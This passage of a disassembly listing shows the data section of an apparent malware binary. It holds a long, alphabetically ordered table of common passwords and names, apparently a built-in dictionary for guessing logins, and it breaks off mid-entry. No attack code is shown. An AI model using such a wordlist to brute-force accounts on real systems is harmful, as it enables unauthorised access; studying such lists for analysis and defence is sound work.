db 'hawaii',0 ; DATA XREF: ___:0043030Co align 10h aHaven db 'haven',0 ; DATA XREF: ___:00430308o align 4 aHate db 'hate',0 ; DATA XREF: ___:00430304o align 10h aHarvey db 'harvey',0 ; DATA XREF: ___:00430300o align 4 aHarold db 'harold',0 ; DATA XREF: ___:004302FCo align 10h aHarmony db 'harmony',0 ; DATA XREF: ___:004302F8o aHarddriv db 'harddriv',0 ; DATA XREF: ___:004302F4o align 4 aHardcore db 'hardcore',0 ; DATA XREF: ___:004302F0o align 10h aHard db 'hard',0 ; DATA XREF: ___:004302ECo align 4 aHappenin db 'happenin',0 ; DATA XREF: ___:004302E8o align 4 aHandjob db 'handjob',0 ; DATA XREF: ___:004302E4o aHandily db 'handily',0 ; DATA XREF: ___:004302E0o aHandel db 'handel',0 ; DATA XREF: ___:004302DCo align 4 aHamster db 'hamster',0 ; DATA XREF: ___:004302D8o aHamlet db 'hamlet',0 ; DATA XREF: ___:004302D4o align 4 aHallowee db 'hallowee',0 ; DATA XREF: ___:004302D0o align 4 aHair db 'hair',0 ; DATA XREF: ___:004302CCo align 10h aHagar db 'hagar',0 ; DATA XREF: ___:004302C8o align 4 aHacked db 'hacked',0 ; DATA XREF: ___:004302C4o align 10h aHack db 'hack',0 ; DATA XREF: ___:004302C0o align 4 aGuntis db 'guntis',0 ; DATA XREF: ___:004302BCo align 10h aGumption db 'gumption',0 ; DATA XREF: ___:004302B8o align 4 aGuitar db 'guitar',0 ; DATA XREF: ___:004302B4o align 4 aGuess db 'guess',0 ; DATA XREF: ___:004302B0o align 4 aGucci db 'gucci',0 ; DATA XREF: ___:004302ACo align 4 aGuardian db 'guardian',0 ; DATA XREF: ___:004302A8o align 10h aGryphon db 'gryphon',0 ; DATA XREF: ___:004302A4o aGroup db 'group',0 ; DATA XREF: ___:004302A0o align 10h aGreen db 'green',0 ; DATA XREF: ___:0043029Co align 4 aGreat db 'great',0 ; DATA XREF: ___:00430298o align 10h aGrant db 'grant',0 ; DATA XREF: ___:00430294o align 4 aGrand db 'grand',0 ; DATA XREF: ___:00430290o align 10h aGrahm db 'grahm',0 ; DATA XREF: ___:0043028Co align 4 aGraham db 'graham',0 ; DATA XREF: ___:00430288o align 10h aGrades db 'grades',0 ; DATA XREF: ___:00430284o align 4 aGovermen db 'govermen',0 ; DATA XREF: ___:00430280o align 4 aGouge db 'gouge',0 ; DATA XREF: ___:0043027Co align 4 aGosling db 'gosling',0 ; DATA XREF: ___:00430278o aGorges db 'gorges',0 ; DATA XREF: ___:00430274o align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: ___:00430270o align 4 aGood db 'good',0 ; DATA XREF: ___:0043026Co align 10h aGolfer db 'golfer',0 ; DATA XREF: ___:00430268o align 4 aGolf db 'golf',0 ; DATA XREF: ___:00430264o align 10h aGolden db 'golden',0 ; DATA XREF: ___:00430260o align 4 aGold db 'gold',0 ; DATA XREF: ___:0043025Co align 10h aGlacier db 'glacier',0 ; DATA XREF: ___:00430258o aGirl db 'girl',0 ; DATA XREF: ___:00430254o align 10h aGinger db 'ginger',0 ; DATA XREF: ___:00430250o align 4 aGina db 'gina',0 ; DATA XREF: ___:0043024Co align 10h aGigabyte db 'gigabyte',0 ; DATA XREF: ___:00430248o align 4 aGibson db 'gibson',0 ; DATA XREF: ___:00430244o align 4 aGhost db 'ghost',0 ; DATA XREF: ___:00430240o align 4 aGertrude db 'gertrude',0 ; DATA XREF: ___:0043023Co align 4 aGerm db 'germ',0 ; DATA XREF: ___:00430238o align 10h aGeorge db 'george',0 ; DATA XREF: ___:00430234o align 4 aGauss db 'gauss',0 ; DATA XREF: ___:00430230o align 10h aGatt db 'gatt',0 ; DATA XREF: ___:0043022Co align 4 aGatherin db 'gatherin',0 ; DATA XREF: ___:00430228o align 4 aGateway db 'gateway',0 ; DATA XREF: ___:00430224o aGarfield db 'garfield',0 ; DATA XREF: ___:00430220o align 4 aGardner db 'gardner',0 ; DATA XREF: ___:0043021Co aGames db 'games',0 ; DATA XREF: ___:00430218o align 4 aGabriel db 'gabriel',0 ; DATA XREF: ___:00430214o aFungible db 'fungible',0 ; DATA XREF: ___:00430210o align 4 aFunction db 'function',0 ; DATA XREF: ___:0043020Co align 4 aFudge db 'fudge',0 ; DATA XREF: ___:00430208o align 10h aFuckyou db 'fuckyou',0 ; DATA XREF: ___:00430204o aFuckme db 'fuckme',0 ; DATA XREF: ___:00430200o align 10h aFucking db 'fucking',0 ; DATA XREF: ___:004301FCo aFucker db 'fucker',0 ; DATA XREF: ___:004301F8o align 10h aFuck db 'fuck',0 ; DATA XREF: ___:004301F4o align 4 aFryguy db 'fryguy',0 ; DATA XREF: ___:004301F0o align 10h aFrog db 'frog',0 ; DATA XREF: ___:004301ECo align 4 aFrighten db 'frighten',0 ; DATA XREF: ___:004301E8o align 4 aFriends db 'friends',0 ; DATA XREF: ___:004301E4o aFriend db 'friend',0 ; DATA XREF: ___:004301E0o align 4 aFriday db 'friday',0 ; DATA XREF: ___:004301DCo align 4 aFrench db 'french',0 ; DATA XREF: ___:004301D8o align 4 aFreedom db 'freedom',0 ; DATA XREF: ___:004301D4o aFree db 'free',0 ; DATA XREF: ___:004301D0o align 4 aFred db 'fred',0 ; DATA XREF: ___:004301CCo align 4 aFreak db 'freak',0 ; DATA XREF: ___:004301C8o align 4 aFrank db 'frank',0 ; DATA XREF: ___:004301C4o align 4 aFrance db 'france',0 ; DATA XREF: ___:004301C0o align 4 aFoxtrot db 'foxtrot',0 ; DATA XREF: ___:004301BCo aFourier db 'fourier',0 ; DATA XREF: ___:004301B8o aForsythe db 'forsythe',0 ; DATA XREF: ___:004301B4o align 10h aFornicat db 'fornicat',0 ; DATA XREF: ___:004301B0o align 4 aFormat db 'format',0 ; DATA XREF: ___:004301ACo align 4 aForm db 'form',0 ; DATA XREF: ___:004301A8o align 4 aForever db 'forever',0 ; DATA XREF: ___:004301A4o aForesigh db 'foresigh',0 ; DATA XREF: ___:004301A0o align 10h aFord db 'ford',0 ; DATA XREF: ___:0043019Co align 4 aForce db 'force',0 ; DATA XREF: ___:00430198o align 10h aFootball db 'football',0 ; DATA XREF: ___:00430194o align 4 aFoolproo db 'foolproo',0 ; DATA XREF: ___:00430190o align 4 aFool db 'fool',0 ; DATA XREF: ___:0043018Co align 10h aFood db 'food',0 ; DATA XREF: ___:00430188o align 4 aFlowers db 'flowers',0 ; DATA XREF: ___:00430184o aFlower db 'flower',0 ; DATA XREF: ___:00430180o align 4 aFlorida db 'florida',0 ; DATA XREF: ___:0043017Co aFloat db 'float',0 ; DATA XREF: ___:00430178o align 4 aFlakes db 'flakes',0 ; DATA XREF: ___:00430174o align 10h aFishers db 'fishers',0 ; DATA XREF: ___:00430170o aFirewall db 'firewall',0 ; DATA XREF: ___:0043016Co align 4 aFire db 'fire',0 ; DATA XREF: ___:00430168o align 4 aFinite db 'finite',0 ; DATA XREF: ___:00430164o align 4 aFile db 'file',0 ; DATA XREF: sub_40EE72+1E83o ; sub_40EE72+1EF9o ... align 4 aFight db 'fight',0 ; DATA XREF: ___:0043015Co align 4 aField db 'field',0 ; DATA XREF: ___:00430158o align 4 aFidelity db 'fidelity',0 ; DATA XREF: ___:00430154o align 4 aFerrari db 'ferrari',0 ; DATA XREF: ___:00430150o aFermat db 'fermat',0 ; DATA XREF: ___:0043014Co align 4 aFender db 'fender',0 ; DATA XREF: ___:00430148o align 10h aFelicia db 'felicia',0 ; DATA XREF: ___:00430144o aFeds db 'feds',0 ; DATA XREF: ___:00430140o align 10h aFear db 'fear',0 ; DATA XREF: ___:0043013Co align 4 aFast db 'fast',0 ; DATA XREF: ___:00430138o align 10h aFart db 'fart',0 ; DATA XREF: ___:00430134o align 4 aFaraday db 'faraday',0 ; DATA XREF: ___:00430130o aFarad db 'farad',0 ; DATA XREF: ___:0043012Co align 4 aFamily db 'family',0 ; DATA XREF: ___:00430128o align 10h aFalse db 'false',0 ; DATA XREF: ___:00430124o align 4 aFalcon db 'falcon',0 ; DATA XREF: ___:00430120o align 10h aFaith db 'faith',0 ; DATA XREF: ___:0043011Co align 4 aFairway db 'fairway',0 ; DATA XREF: ___:00430118o aExtensio db 'extensio',0 ; DATA XREF: ___:00430114o align 4 aExplosiv db 'explosiv',0 ; DATA XREF: ___:00430110o align 4 aExplorer db 'explorer',0 ; DATA XREF: ___:0043010Co align 4 aExplore db 'explore',0 ; DATA XREF: ___:00430108o aExplode db 'explode',0 ; DATA XREF: ___:00430104o aExpert db 'expert',0 ; DATA XREF: ___:00430100o align 4 aEvelyn db 'evelyn',0 ; DATA XREF: ___:004300FCo align 4 aEuclid db 'euclid',0 ; DATA XREF: ___:004300F8o align 4 aEternity db 'eternity',0 ; DATA XREF: ___:004300F4o align 4 aEstate db 'estate',0 ; DATA XREF: ___:004300F0o align 10h aEstablis db 'establis',0 ; DATA XREF: ___:004300ECo align 4 aErsatz db 'ersatz',0 ; DATA XREF: ___:004300E8o align 4 aErotic db 'erotic',0 ; DATA XREF: ___:004300E4o align 4 aErin db 'erin',0 ; DATA XREF: ___:004300E0o align 4 aErika db 'erika',0 ; DATA XREF: ___:004300DCo align 4 aErica db 'erica',0 ; DATA XREF: ___:004300D8o align 4 aEric db 'eric',0 ; DATA XREF: ___:004300D4o align 4 aErenity db 'erenity',0 ; DATA XREF: ___:004300D0o aEnzyme db 'enzyme',0 ; DATA XREF: ___:004300CCo align 4 aEnterpri db 'enterpri',0 ; DATA XREF: ___:004300C8o align 4 aEnter db 'enter',0 ; DATA XREF: ___:004300C4o align 10h aEnglish db 'english',0 ; DATA XREF: ___:004300C0o aEngland db 'england',0 ; DATA XREF: ___:004300BCo aEngineer db 'engineer',0 ; DATA XREF: ___:004300B8o align 4 aEngine db 'engine',0 ; DATA XREF: ___:004300B4o align 4 aEnemy db 'enemy',0 ; DATA XREF: ___:004300B0o align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: ___:004300ACo align 4 aEmily db 'emily',0 ; DATA XREF: ___:004300A8o align 10h aEmerald db 'emerald',0 ; DATA XREF: ___:004300A4o aEmail db 'email',0 ; DATA XREF: ___:004300A0o align 10h aEllen db 'ellen',0 ; DATA XREF: ___:0043009Co align 4 aElizabet db 'elizabet',0 ; DATA XREF: ___:00430098o align 4 aElephant db 'elephant',0 ; DATA XREF: ___:00430094o align 10h aElectron db 'electron',0 ; DATA XREF: ___:00430090o align 4 aElanor db 'elanor',0 ; DATA XREF: ___:0043008Co align 4 aElaine db 'elaine',0 ; DATA XREF: ___:00430088o align 4 aEinstein db 'einstein',0 ; DATA XREF: ___:00430084o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: ___:00430080o align 4 aEileen db 'eileen',0 ; DATA XREF: ___:0043007Co align 4 aEiderdow db 'eiderdow',0 ; DATA XREF: ___:00430078o align 4 aEgghead db 'egghead',0 ; DATA XREF: ___:00430074o aEdwina db 'edwina',0 ; DATA XREF: ___:00430070o align 4 aEdwin db 'edwin',0 ; DATA XREF: ___:0043006Co align 10h aEducatio db 'educatio',0 ; DATA XREF: ___:00430068o align 4 aEducation db 'education',0 ; DATA XREF: ___:00430064o align 4 aEdition db 'edition',0 ; DATA XREF: ___:00430060o aEdit db 'edit',0 ; DATA XREF: ___:off_43005Co align 4 aEdinburg db 'edinburg',0 ; DATA XREF: ___:00430058o align 4 aEdges db 'edges',0 ; DATA XREF: ___:00430054o align 4 aEddie db 'eddie',0 ; DATA XREF: ___:off_430050o align 4 aEcho db 'echo',0 ; DATA XREF: ___:0043004Co align 4 aEatme db 'eatme',0 ; DATA XREF: ___:00430048o align 4 aEasy db 'easy',0 ; DATA XREF: ___:00430044o align 4 aEasier db 'easier',0 ; DATA XREF: ___:00430040o align 4 aEarth db 'earth',0 ; DATA XREF: ___:0043003Co align 4 aEagle db 'eagle',0 ; DATA XREF: ___:00430038o align 4 aEager db 'eager',0 ; DATA XREF: ___:00430034o align 4 aDyke db 'dyke',0 ; DATA XREF: ___:00430030o align 4 aDungeon db 'dungeon',0 ; DATA XREF: ___:0043002Co aDuncan db 'duncan',0 ; DATA XREF: ___:00430028o align 4 aDulce db 'dulce',0 ; DATA XREF: ___:00430024o align 4 aDuke db 'duke',0 ; DATA XREF: ___:00430020o align 4 aDuelist db 'duelist',0 ; DATA XREF: ___:0043001Co aDude db 'dude',0 ; DATA XREF: ___:00430018o align 4 aDuck db 'duck',0 ; DATA XREF: ___:00430014o align 4 aDrought db 'drought',0 ; DATA XREF: ___:00430010o aDrive db 'drive',0 ; DATA XREF: ___:0043000Co align 4 aDrdoom db 'drdoom',0 ; DATA XREF: ___:00430008o align 4 aDragon db 'dragon',0 ; DATA XREF: ___:00430004o align 4 aDownload db 'download',0 ; DATA XREF: ___:00430000o align 4 aDope db 'dope',0 ; DATA XREF: ___:0042FFFCo align 10h aDoors db 'doors',0 ; DATA XREF: ___:0042FFF8o align 4 aDoor db 'door',0 ; DATA XREF: ___:0042FFF4o align 10h aDoonesbu db 'doonesbu',0 ; DATA XREF: ___:0042FFF0o align 4 aDoomsday db 'doomsday',0 ; DATA XREF: ___:0042FFECo align 4 aDoomii db 'doomii',0 ; DATA XREF: ___:0042FFE8o align 10h aDoom2 db 'doom2',0 ; DATA XREF: ___:0042FFE4o align 4 aDoom db 'doom',0 ; DATA XREF: ___:0042FFE0o align 10h aDong db 'dong',0 ; DATA XREF: ___:0042FFDCo align 4 aDollar db 'dollar',0 ; DATA XREF: ___:0042FFD8o align 10h aDoctor db 'doctor',0 ; DATA XREF: ___:0042FFD4o align 4 aDisplay_0 db 'display',0 ; DATA XREF: ___:0042FFD0o aDisney db 'disney',0 ; DATA XREF: ___:0042FFCCo align 4 aDiskette db 'diskette',0 ; DATA XREF: ___:0042FFC8o align 4 aDisk_0 db 'disk',0 ; DATA XREF: ___:0042FFC4o align 4 aDiscover db 'discover',0 ; DATA XREF: ___:0042FFC0o align 4 aDisclose db 'disclose',0 ; DATA XREF: ___:0042FFBCo align 4 aDiscipli db 'discipli',0 ; DATA XREF: ___:0042FFB8o align 10h aDisc db 'disc',0 ; DATA XREF: ___:0042FFB4o align 4 aDirty db 'dirty',0 ; DATA XREF: ___:0042FFB0o align 10h aDirector db 'director',0 ; DATA XREF: ___:0042FFACo align 4 aDirect db 'direct',0 ; DATA XREF: ___:0042FFA8o align 4 aDipshit db 'dipshit',0 ; DATA XREF: ___:0042FFA4o aDinosaur db 'dinosaur',0 ; DATA XREF: ___:0042FFA0o align 4 aDigital db 'digital',0 ; DATA XREF: ___:0042FF9Co aDieter db 'dieter',0 ; DATA XREF: ___:0042FF98o align 4 aDiet db 'diet',0 ; DATA XREF: ___:0042FF94o align 10h aDiehard db 'diehard',0 ; DATA XREF: ___:0042FF90o aDick db 'dick',0 ; DATA XREF: ___:0042FF8Co align 10h aDice db 'dice',0 ; DATA XREF: ___:0042FF88o align 4 aDiane db 'diane',0 ; DATA XREF: ___:0042FF84o align 10h aDiana db 'diana',0 ; DATA XREF: ___:0042FF80o align 4 aDiamond db 'diamond',0 ; DATA XREF: ___:0042FF7Co aDial db 'dial',0 ; DATA XREF: ___:0042FF78o align 4 aDevice db 'device',0 ; DATA XREF: ___:0042FF74o align 10h aDevelop db 'develop',0 ; DATA XREF: ___:0042FF70o aDesperat db 'desperat',0 ; DATA XREF: ___:0042FF6Co align 4 aDesktop db 'desktop',0 ; DATA XREF: ___:0042FF68o aDesk db 'desk',0 ; DATA XREF: ___:0042FF64o align 4 aDesiree db 'desiree',0 ; DATA XREF: ___:0042FF60o aDennis db 'dennis',0 ; DATA XREF: ___:0042FF5Co align 4 aDenise db 'denise',0 ; DATA XREF: ___:0042FF58o align 4 aDemocrat db 'democrat',0 ; DATA XREF: ___:0042FF54o align 4 aDeluge db 'deluge',0 ; DATA XREF: ___:0042FF50o align 10h aDelta db 'delta',0 ; DATA XREF: ___:0042FF4Co align 4 aDefoe db 'defoe',0 ; DATA XREF: ___:0042FF48o align 10h aDefault_0 db 'DEFAULT',0 ; DATA XREF: ___:0042FF44o aDeck db 'deck',0 ; DATA XREF: ___:0042FF3Co align 10h aDecember db 'december',0 ; DATA XREF: ___:0042FF38o align 4 aDebug db 'debug',0 ; DATA XREF: ___:0042FF34o align 4 aDeborah db 'deborah',0 ; DATA XREF: ___:0042FF30o aDebbie db 'debbie',0 ; DATA XREF: ___:0042FF2Co align 4 aDeathsta db 'deathsta',0 ; DATA XREF: ___:0042FF28o align 10h aDead db 'dead',0 ; DATA XREF: ___:0042FF24o align 4 aDawn db 'dawn',0 ; DATA XREF: ___:0042FF20o align 10h aDave db 'dave',0 ; DATA XREF: ___:0042FF1Co align 4 aData db 'data',0 ; DATA XREF: ___:0042FF18o align 10h aDarkaven db 'darkaven',0 ; DATA XREF: ___:0042FF14o align 4 aDark db 'dark',0 ; DATA XREF: ___:0042FF10o align 4 aDapper db 'dapper',0 ; DATA XREF: ___:0042FF0Co align 4 aDanny db 'danny',0 ; DATA XREF: ___:0042FF08o align 4 aDanielle db 'danielle',0 ; DATA XREF: ___:0042FF04o align 10h aDaniel db 'daniel',0 ; DATA XREF: ___:0042FF00o align 4 aDancer db 'dancer',0 ; DATA XREF: ___:0042FEFCo align 10h aDana db 'dana',0 ; DATA XREF: ___:0042FEF8o align 4 aDaisy db 'daisy',0 ; DATA XREF: ___:0042FEF4o align 10h aDaemon db 'daemon',0 ; DATA XREF: ___:0042FEF0o align 4 aCynthia db 'cynthia',0 ; DATA XREF: ___:0042FEECo aCyberspa db 'cyberspa',0 ; DATA XREF: ___:0042FEE8o align 4 aCyberpun db 'cyberpun',0 ; DATA XREF: ___:0042FEE4o align 4 aCyber db 'cyber',0 ; DATA XREF: ___:0042FEE0o align 10h aCustomer db 'customer',0 ; DATA XREF: ___:0042FEDCo align 4 aCunt db 'cunt',0 ; DATA XREF: ___:0042FED8o align 4 aCshrc db 'cshrc',0 ; DATA XREF: ___:0042FED4o align 4 aCrystal db 'crystal',0 ; DATA XREF: ___:0042FED0o aCristina db 'cristina',0 ; DATA XREF: ___:0042FECCo align 10h aCriminal db 'criminal',0 ; DATA XREF: ___:0042FEC8o align 4 aCrime db 'crime',0 ; DATA XREF: ___:0042FEC4o align 4 aCretin db 'cretin',0 ; DATA XREF: ___:0042FEC0o align 4 aCreosote db 'creosote',0 ; DATA XREF: ___:0042FEBCo align 4 aCredit db 'credit',0 ; DATA XREF: ___:0042FEB8o align 10h aCreature db 'creature',0 ; DATA XREF: ___:0042FEB4o align 4 aCreation db 'creation',0 ; DATA XREF: ___:0042FEB0o align 4 aCreate db 'create',0 ; DATA XREF: ___:0042FEACo align 10h aCream db 'cream',0 ; DATA XREF: ___:0042FEA8o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: ___:0042FEA4o align 4 aCrack db 'crack',0 ; DATA XREF: ___:0042FEA0o align 4 aCowboy db 'cowboy',0 ; DATA XREF: ___:0042FE9Co align 4 aCouscous db 'couscous',0 ; DATA XREF: ___:0042FE98o align 10h aCountry db 'country',0 ; DATA XREF: ___:0042FE94o aCounters db 'counters',0 ; DATA XREF: ___:0042FE90o align 4 aCorrect db 'correct',0 ; DATA XREF: ___:0042FE8Co aCorneliu db 'corneliu',0 ; DATA XREF: ___:0042FE88o align 4 aCopy db 'copy',0 ; DATA XREF: ___:0042FE84o align 10h aCops db 'cops',0 ; DATA XREF: ___:0042FE80o align 4 aCopper db 'copper',0 ; DATA XREF: ___:0042FE7Co align 10h aCooper db 'cooper',0 ; DATA XREF: ___:0042FE78o align 4 aCool_1 db 'cool',0 ; DATA XREF: ___:0042FE74o align 10h aCookie db 'cookie',0 ; DATA XREF: ___:0042FE70o align 4 aCookbook db 'cookbook',0 ; DATA XREF: ___:0042FE6Co align 4 aCook db 'cook',0 ; DATA XREF: ___:0042FE68o align 4 aContinue db 'continue',0 ; DATA XREF: sub_40EE72+20E5o ; ___:0042FE64o align 4 aConsole db 'console',0 ; DATA XREF: ___:0042FE60o aConserva db 'conserva',0 ; DATA XREF: ___:0042FE5Co align 4 aConnie db 'connie',0 ; DATA XREF: ___:0042FE58o align 4 aCondom db 'condom',0 ; DATA XREF: ___:0042FE50o align 4 aCondo db 'condo',0 ; DATA XREF: ___:0042FE4Co align 4 aComrades db 'comrades',0 ; DATA XREF: ___:0042FE48o align 10h aComrade db 'comrade',0 ; DATA XREF: ___:0042FE44o aComputin db 'computin',0 ; DATA XREF: ___:0042FE40o align 4 aCompany db 'company',0 ; DATA XREF: ___:0042FE3Co aCommrade db 'commrade',0 ; DATA XREF: ___:0042FE38o align 4 aCommit db 'commit',0 ; DATA XREF: ___:0042FE34o align 10h aComics db 'comics',0 ; DATA XREF: ___:0042FE30o align 4 aCombat db 'combat',0 ; DATA XREF: ___:0042FE2Co align 10h aColor db 'color',0 ; DATA XREF: ___:0042FE28o align 4 aCollins db 'collins',0 ; DATA XREF: ___:0042FE24o aCold db 'cold',0 ; DATA XREF: ___:0042FE20o align 4 aCola db 'cola',0 ; DATA XREF: ___:0042FE1Co align 10h aCoke db 'coke',0 ; DATA XREF: ___:0042FE18o align 4 aCoin db 'coin',0 ; DATA XREF: ___:0042FE14o align 10h aCoffee db 'coffee',0 ; DATA XREF: ___:0042FE10o align 4 aCodeword db 'codeword',0 ; DATA XREF: ___:0042FE0Co align 4 aCodename db 'codename',0 ; DATA XREF: ___:0042FE08o align 10h aCode db 'code',0 ; DATA XREF: ___:0042FE04o align 4 aCock db 'cock',0 ; DATA XREF: ___:0042FE00o align 10h aCocainco db 'cocainco',0 ; DATA XREF: ___:0042FDFCo align 4 aCocacola db 'cocacola',0 ; DATA XREF: ___:0042FDF8o align 4 aCoast db 'coast',0 ; DATA XREF: ___:0042FDF4o align 10h aClusters db 'clusters',0 ; DATA XREF: ___:0042FDF0o align 4 aCluster db 'cluster',0 ; DATA XREF: ___:0042FDECo aClinton db 'clinton',0 ; DATA XREF: ___:0042FDE8o aCleavage db 'cleavage',0 ; DATA XREF: ___:0042FDE4o align 4 aClaymore db 'claymore',0 ; DATA XREF: ___:0042FDE0o align 4 aClaudia db 'claudia',0 ; DATA XREF: ___:0042FDDCo aClassic db 'classic',0 ; DATA XREF: ___:0042FDD8o aClasses db 'classes',0 ; DATA XREF: ___:0042FDD4o aClass db 'class',0 ; DATA XREF: ___:0042FDD0o align 4 aCindy db 'cindy',0 ; DATA XREF: ___:0042FDCCo align 4 aCigarett db 'cigarett',0 ; DATA XREF: ___:0042FDC8o align 4 aCigar db 'cigar',0 ; DATA XREF: ___:0042FDC4o align 10h aChristy db 'christy',0 ; DATA XREF: ___:0042FDC0o aChristin db 'christin',0 ; DATA XREF: ___:0042FDBCo align 4 aChris db 'chris',0 ; DATA XREF: ___:0042FDB8o align 4 aChip db 'chip',0 ; DATA XREF: ___:0042FDB4o align 4 aChester db 'chester',0 ; DATA XREF: ___:0042FDB0o aChess db 'chess',0 ; DATA XREF: ___:0042FDACo align 4 aChemistr db 'chemistr',0 ; DATA XREF: ___:0042FDA8o align 10h aChem db 'chem',0 ; DATA XREF: ___:0042FDA4o align 4 aChat_0 db 'chat',0 ; DATA XREF: ___:0042FDA0o align 10h aCharon db 'charon',0 ; DATA XREF: ___:0042FD9Co align 4 aCharming db 'charming',0 ; DATA XREF: ___:0042FD98o align 4 aCharlie db 'charlie',0 ; DATA XREF: ___:0042FD94o aCharles db 'charles',0 ; DATA XREF: ___:0042FD90o aCharity db 'charity',0 ; DATA XREF: ___:0042FD8Co aChange db 'change',0 ; DATA XREF: ___:0042FD88o align 4 aCerulean db 'cerulean',0 ; DATA XREF: ___:0042FD84o align 10h aCeltics db 'celtics',0 ; DATA XREF: ___:0042FD80o aCeltic db 'celtic',0 ; DATA XREF: ___:0042FD7Co align 10h aCelt db 'celt',0 ; DATA XREF: ___:0042FD78o align 4 aCecily db 'cecily',0 ; DATA XREF: ___:0042FD74o align 10h aCayuga db 'cayuga',0 ; DATA XREF: ___:0042FD70o align 4 aCave db 'cave',0 ; DATA XREF: ___:0042FD6Co align 10h aCathy db 'cathy',0 ; DATA XREF: ___:0042FD68o align 4 aCatholic db 'catholic',0 ; DATA XREF: ___:0042FD64o align 4 aCatherin db 'catherin',0 ; DATA XREF: ___:0042FD60o align 10h aCastle db 'castle',0 ; DATA XREF: ___:0042FD5Co align 4 aCash db 'cash',0 ; DATA XREF: ___:0042FD58o align 10h aCascades db 'cascades',0 ; DATA XREF: ___:0042FD54o align 4 aCarson db 'carson',0 ; DATA XREF: ___:0042FD50o align 4 aCarrie db 'carrie',0 ; DATA XREF: ___:0042FD4Co align 4 aCaroline db 'caroline',0 ; DATA XREF: ___:0042FD48o align 4 aCarolina db 'carolina',0 ; DATA XREF: ___:0042FD44o align 4 aCarole db 'carole',0 ; DATA XREF: ___:0042FD40o align 4 aCarol db 'carol',0 ; DATA XREF: ___:0042FD3Co align 4 aCarmen db 'carmen',0 ; DATA XREF: ___:0042FD38o align 4 aCarla db 'carla',0 ; DATA XREF: ___:0042FD34o align 4 aCaren db 'caren',0 ; DATA XREF: ___:0042FD30o align 4 aCardinal db 'cardinal',0 ; DATA XREF: ___:0042FD2Co align 4 aCard db 'card',0 ; DATA XREF: ___:0042FD28o align 10h aCapture db 'capture',0 ; DATA XREF: ___:0042FD24o aCaptain db 'captain',0 ; DATA XREF: ___:0042FD20o aCantor db 'cantor',0 ; DATA XREF: ___:0042FD1Co align 4 aCandy db 'candy',0 ; DATA XREF: ___:0042FD18o align 10h aCandi db 'candi',0 ; DATA XREF: ___:0042FD14o align 4 aCamping db 'camping',0 ; DATA XREF: ___:0042FD10o aCampanil db 'campanil',0 ; DATA XREF: ___:0042FD0Co align 4 aCamille db 'camille',0 ; DATA XREF: ___:0042FD08o aCaliforn db 'californ',0 ; DATA XREF: ___:0042FD04o align 10h aButthead db 'butthead',0 ; DATA XREF: ___:0042FD00o align 4 aButt db 'butt',0 ; DATA XREF: ___:0042FCFCo align 4 aButch db 'butch',0 ; DATA XREF: ___:0042FCF8o align 4 aBurn db 'burn',0 ; DATA XREF: ___:0042FCF4o align 4 aBurgess db 'burgess',0 ; DATA XREF: ___:0042FCF0o aBung db 'bung',0 ; DATA XREF: ___:0042FCECo align 4 aBumbling db 'bumbling',0 ; DATA XREF: ___:0042FCE8o align 10h aBullshit db 'bullshit',0 ; DATA XREF: ___:0042FCE4o align 4 aBulls db 'bulls',0 ; DATA XREF: ___:0042FCE0o align 4 aBrutefor db 'brutefor',0 ; DATA XREF: ___:0042FCDCo align 10h aBrute db 'brute',0 ; DATA XREF: ___:0042FCD8o align 4 aBrunette db 'brunette',0 ; DATA XREF: ___:0042FCD4o align 4 aBrothel db 'brothel',0 ; DATA XREF: ___:0042FCD0o aBroadway db 'broadway',0 ; DATA XREF: ___:0042FCCCo align 4 aBridget db 'bridget',0 ; DATA XREF: ___:0042FCC8o aBrian db 'brian',0 ; DATA XREF: ___:0042FCC4o align 4 aBrenda db 'brenda',0 ; DATA XREF: ___:0042FCC0o align 10h aBreast db 'breast',0 ; DATA XREF: ___:0042FCBCo align 4 aBreak db 'break',0 ; DATA XREF: ___:0042FCB8o align 10h aBravo db 'bravo',0 ; DATA XREF: ___:0042FCB4o align 4 aBrandy db 'brandy',0 ; DATA XREF: ___:0042FCB0o align 10h aBrandi db 'brandi',0 ; DATA XREF: ___:0042FCACo align 4 aBradley db 'bradley',0 ; DATA XREF: ___:0042FCA8o aBoyscout db 'boyscout',0 ; DATA XREF: ___:0042FCA4o align 4 aBorn db 'born',0 ; DATA XREF: ___:0042FCA0o align 4 aBook db 'book',0 ; DATA XREF: ___:0042FC9Co align 4 aBoobs db 'boobs',0 ; DATA XREF: ___:0042FC98o align 4 aBoob db 'boob',0 ; DATA XREF: ___:0042FC94o align 4 aBoner db 'boner',0 ; DATA XREF: ___:0042FC90o align 4 aBomb db 'bomb',0 ; DATA XREF: ___:0042FC8Co align 4 aBoard db 'board',0 ; DATA XREF: ___:0042FC88o align 4 aBlues db 'blues',0 ; DATA XREF: ___:0042FC84o align 4 aBlue db 'blue',0 ; DATA XREF: ___:0042FC80o align 4 aBlowjob db 'blowjob',0 ; DATA XREF: ___:0042FC7Co aBlow db 'blow',0 ; DATA XREF: ___:0042FC78o align 4 aBloodaxe db 'bloodaxe',0 ; DATA XREF: ___:0042FC74o align 10h aBlood db 'blood',0 ; DATA XREF: ___:0042FC70o align 4 aBlondie db 'blondie',0 ; DATA XREF: ___:0042FC6Co aBlonde db 'blonde',0 ; DATA XREF: ___:0042FC68o align 4 aBlack db 'black',0 ; DATA XREF: ___:0042FC64o align 10h aBitnet db 'bitnet',0 ; DATA XREF: ___:0042FC60o align 4 aBitmap db 'bitmap',0 ; DATA XREF: ___:0042FC5Co align 10h aBitch db 'bitch',0 ; DATA XREF: ___:0042FC58o align 4 aBishop db 'bishop',0 ; DATA XREF: ___:0042FC54o align 10h aBird db 'bird',0 ; DATA XREF: ___:0042FC50o align 4 aBios db 'bios',0 ; DATA XREF: ___:0042FC4Co align 10h aBinary db 'binary',0 ; DATA XREF: ___:0042FC48o align 4 aBill db 'bill',0 ; DATA XREF: ___:0042FC44o align 10h aBigfoot db 'bigfoot',0 ; DATA XREF: ___:0042FC40o aBicamera db 'bicamera',0 ; DATA XREF: ___:0042FC3Co align 4 aBible db 'bible',0 ; DATA XREF: ___:0042FC38o align 4 aBeverly db 'beverly',0 ; DATA XREF: ___:0042FC34o aBetty db 'betty',0 ; DATA XREF: ___:0042FC30o align 4 aBetsie db 'betsie',0 ; DATA XREF: ___:0042FC2Co align 4 aBeth db 'beth',0 ; DATA XREF: ___:0042FC28o align 4 aBeta db 'beta',0 ; DATA XREF: ___:0042FC24o align 4 aBeryl db 'beryl',0 ; DATA XREF: ___:0042FC20o align 4 aBerliner db 